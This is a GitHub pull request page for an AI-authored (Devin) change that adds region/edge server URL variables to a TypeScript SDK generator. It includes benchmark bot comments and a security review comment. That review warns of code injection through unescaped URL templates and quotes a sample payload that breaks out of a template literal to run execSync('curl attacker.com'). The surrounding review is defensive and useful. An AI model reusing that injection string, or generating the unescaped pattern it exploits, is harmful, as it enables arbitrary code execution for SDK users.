Skip to content

feat(typescript): support server URL variables (region/edge routing)#16977

Open
devin-ai-integration[bot] wants to merge 6 commits into
mainfrom
devin/1783547305-ts-sdk-server-url-variables
Open

feat(typescript): support server URL variables (region/edge routing)#16977
devin-ai-integration[bot] wants to merge 6 commits into
mainfrom
devin/1783547305-ts-sdk-server-url-variables

Conversation

@devin-ai-integration

@devin-ai-integration devin-ai-integration Bot commented Jul 8, 2026

Copy link
Copy Markdown
Contributor

Description

Adds server URL variable (region/edge) support to the TypeScript SDK generator, bringing it to parity with the Python and Java generators. Previously the TS generator ignored the IR's EnvironmentsConfig.urlTemplate/urlVariables, so a generated TS SDK could not select a region/edge for data-residency routing.

This is the first of several PRs rolling the feature out across the remaining in-scope generators (Go, .NET, PHP, Ruby).

How it works (mirrors Python/Java)

Server variables defined on the API's environments are exposed as optional string options on the client, and interpolated into the base URL(s) at request time. Reserved option names are de-collided with a serverUrl prefix (e.g. a variable named environmentserverUrlEnvironment).

Generated BaseClientOptions (fixture server-url-templating):

export interface BaseClientOptions {
    environment?: ...;
    baseUrl?: core.Supplier<string>;
    /** The region to route requests to. Allowed values: us-east-1, us-west-2, eu-west-1. Defaults to "us-east-1". */
    region?: string;
    /** The serverUrlEnvironment to route requests to. Allowed values: prod, staging, dev. Defaults to "prod". */
    serverUrlEnvironment?: string;
    ...
}

Generated interpolation inside normalizeClientOptions (multiple base URLs case):

let environment = options?.environment;
if (options?.region != null || options?.serverUrlEnvironment != null) {
    const _region = options?.region ?? "us-east-1";
    const _serverUrlEnvironment = options?.serverUrlEnvironment ?? "prod";
    environment = {
        base: `https://api.${_region}.${_serverUrlEnvironment}.example.com/v1`,
        auth: `https://auth.${_region}.example.com`,
    };
}

For a single-base-url API the same guard sets baseUrl from the environment's urlTemplate.

Changes Made

  • New serverVariables.ts in client-class-generator: collects ServerVariables from the IR environments (single + multiple base URL), dedups by id, maps each to an option name (with reserved-name de-collision), and provides a template→template-literal helper.
  • BaseClientTypeGenerator.ts: emits the interpolation block inside normalizeClientOptions, rebuilding baseUrl (single) or the environment URL object (multiple) when any server variable is supplied; falls back to each variable's default.
  • BaseClientContextImpl.ts: exposes each server variable as an optional string property on BaseClientOptions, with docs listing allowed values / default.
  • Exported the new utilities from client-class-generator/src/index.ts.
  • Added the server-url-templating fixture to seed/ts-sdk/seed.yml and regenerated the seed output under seed/ts-sdk/server-url-templating/no-custom-config/.
  • Added a generator changelog entry (feat).
  • Updated README.md generator (if applicable) — N/A

Testing

  • Unit tests added/updated — new BaseClientTypeGenerator cases for no-environments, multiple-base-url, and single-base-url interpolation (incl. reserved-name collision). Full package suites green (sdk-client-class-generator: 558 tests, sdk-generator: 158 tests).
  • Manual testing completed — seed test --generator ts-sdk --fixture server-url-templating --local passes and validator verification succeeds; inspected generated BaseClient.ts/environments.ts/Client.ts.

Server URL variable validation

Server URL variable validation: Region/environment values are interpolated into the URL template verbatim. Values are NOT validated against the declared allowed values (enum) — passing an unknown value (e.g. region="mars") simply produces https://api.mars.<...> rather than raising. This matches the existing Python and Java generator behavior for server URL variables.

Link to Devin session: https://app.devin.ai/sessions/c3ddfc2bb3b04f9a9e2977e756158dee
Requested by: @cadesark

Co-Authored-By: Devin AI <158243242+devin-ai-integration[bot]@users.noreply.github.com>
@devin-ai-integration

Copy link
Copy Markdown
Contributor Author

🤖 Devin AI Engineer

I'll be helping with this pull request! Here's what you should know:

✅ I will automatically:

  • Address comments on this PR. Add '(aside)' to your comment to have me ignore it.
  • Look at CI failures and help fix them

Note: I can only respond to comments from users who have write access to this repository.

⚙️ Control Options:

  • Disable automatic comment, CI, and merge conflict monitoring

@devin-ai-integration devin-ai-integration Bot changed the title feat(ts): support server URL variables (region/edge routing) feat(typescript): support server URL variables (region/edge routing) Jul 8, 2026
for (const { variable, localName } of options) {
result = result.split(`{${variable.id}}`).join(`\${${localName}}`);
}
return `\`${result}\``;

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

🟠 Code injection via unescaped IR URL template in generated TypeScript template literal

In urlTemplateToTemplateLiteral (serverVariables.ts line 101), the template string sourced directly from the IR's urlTemplate/urlTemplates field is placed verbatim between backticks to form a TypeScript template literal — no escaping of ` characters or ${…} sequences is performed.

A crafted urlTemplate value such as:

https://api.{region}.example.com`; require('child_process').execSync('curl attacker.com'); `

produces the following in the generated BaseClient.ts:

baseUrl = `https://api.${_region}.example.com`; require('child_process').execSync('curl attacker.com'); ``;

The injection runs at module load time in every application that installs the generated SDK. Similarly, a template containing ${process.env.SECRET} leaks host environment variables into the constructed URL without any user opt-in.

The IR urlTemplate originates from API definitions that may be imported from external OpenAPI specs or submitted through automated pipelines, making the attack viable without direct author intent.

Prompt To Fix With AI
In `urlTemplateToTemplateLiteral`, before wrapping `result` in backticks, escape every backtick and every `${` sequence that is already present in the static portions of the template (i.e. those that were not introduced by the variable substitution step).

Safe approach — escape first, then substitute:

```typescript
export function urlTemplateToTemplateLiteral(template: string, options: ServerVariableOption[]): string {
    // 1. Split the template on all known variable placeholders.
    //    We will escape the static segments and re-join with the TS interpolations.
    // Build a regex that matches any placeholder: {id1}|{id2}|...
    if (options.length === 0) {
        const escaped = template.replace(/`/g, "\\`").replace(/\$\{/g, "\\${");
        return `\`${escaped}\``;
    }

    const placeholders = options.map(({ variable }) => `\\{${escapeRegex(variable.id)}\\}`);
    const splitter = new RegExp(`(${placeholders.join("|")})`);
    const parts = template.split(splitter);

    // Build a lookup from placeholder text → TS interpolation.
    const lookup = new Map(options.map(({ variable, localName }) => [`{${variable.id}}`, `\${${localName}}`]));

    const rendered = parts.map((part) => {
        if (lookup.has(part)) {
            return lookup.get(part)!;            // already-safe TS expression
        }
        // Static segment: escape backticks and existing ${ sequences.
        return part.replace(/`/g, "\\`").replace(/\$\{/g, "\\${");
    });

    return `\`${rendered.join("")}\``;
}

function escapeRegex(s: string): string {
    return s.replace(/[.*+?^${}()|[\]\\]/g, "\\$&");
}
```

Also validate (or at least log a warning) in `getServerVariableInterpolation` when `urlTemplateToTemplateLiteral` is called, ensuring the resulting literal is a syntactically complete template literal before embedding it in the generated function body.

Severity: high | Confidence: 90% | React with 👍 if useful or 👎 if not

@github-actions

github-actions Bot commented Jul 8, 2026

Copy link
Copy Markdown
Contributor

SDK Generation Benchmark Results

Comparing PR branch against median of 5 nightly run(s) on main (latest: 2026-07-10T05:18:08Z).

Full benchmark table (click to expand)
Generator Spec main (generator) main (E2E) PR (generator) Delta
csharp-sdk square 72s (n=5) 113s (n=5) 62s -10s (-13.9%)
go-sdk square 135s (n=5) 285s (n=5) 134s -1s (-0.7%)
java-sdk square 218s (n=5) 272s (n=5) 218s +0s (+0.0%)
php-sdk square 62s (n=5) 84s (n=5) 56s -6s (-9.7%)
python-sdk square 146s (n=5) 237s (n=5) 129s -17s (-11.6%)
ruby-sdk-v2 square 92s (n=5) 124s (n=5) 90s -2s (-2.2%)
rust-sdk square 175s (n=5) 165s (n=5) 166s -9s (-5.1%)
swift-sdk square 61s (n=5) 437s (n=5) 53s -8s (-13.1%)
ts-sdk square 127s (n=5) 128s (n=5) 119s -8s (-6.3%)

main (generator): generator-only time via --skip-scripts (includes Docker image build, container startup, IR parsing, and code generation — this is the same Docker-based flow customers use via fern generate). main (E2E): full customer-observable time including build/test scripts (nightly baseline, informational). Delta is computed against generator-only baseline.
⚠️ = generation exited with a non-zero exit code (timing may not reflect a successful run).
Baseline from nightly runs on main (latest: 2026-07-10T05:18:08Z). Trigger benchmark-baseline to refresh.
Last updated: 2026-07-10 18:48 UTC

Co-Authored-By: Devin AI <158243242+devin-ai-integration[bot]@users.noreply.github.com>
@github-actions

github-actions Bot commented Jul 9, 2026

Copy link
Copy Markdown
Contributor

Docs Generation Benchmark Results

Comparing PR branch against median of 5 nightly run(s) on main (latest: 2026-07-10T05:18:08Z).

Fixture main PR Delta
docs 241.5s (n=5) 233.7s (35 versions) -7.8s (-3.2%)

Docs generation runs fern generate --docs --preview end-to-end against the benchmark fixture with 35 API versions (each version: markdown processing + OpenAPI-to-IR + FDR upload).
Delta is computed against the nightly baseline on main.
Baseline from nightly run(s) on main (latest: 2026-07-10T05:18:08Z). Trigger benchmark-baseline to refresh.
Last updated: 2026-07-10 18:46 UTC

cade and others added 4 commits July 9, 2026 14:01
Co-Authored-By: Devin AI <158243242+devin-ai-integration[bot]@users.noreply.github.com>
…dk-server-url-variables

Co-Authored-By: Devin AI <158243242+devin-ai-integration[bot]@users.noreply.github.com>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

0 participants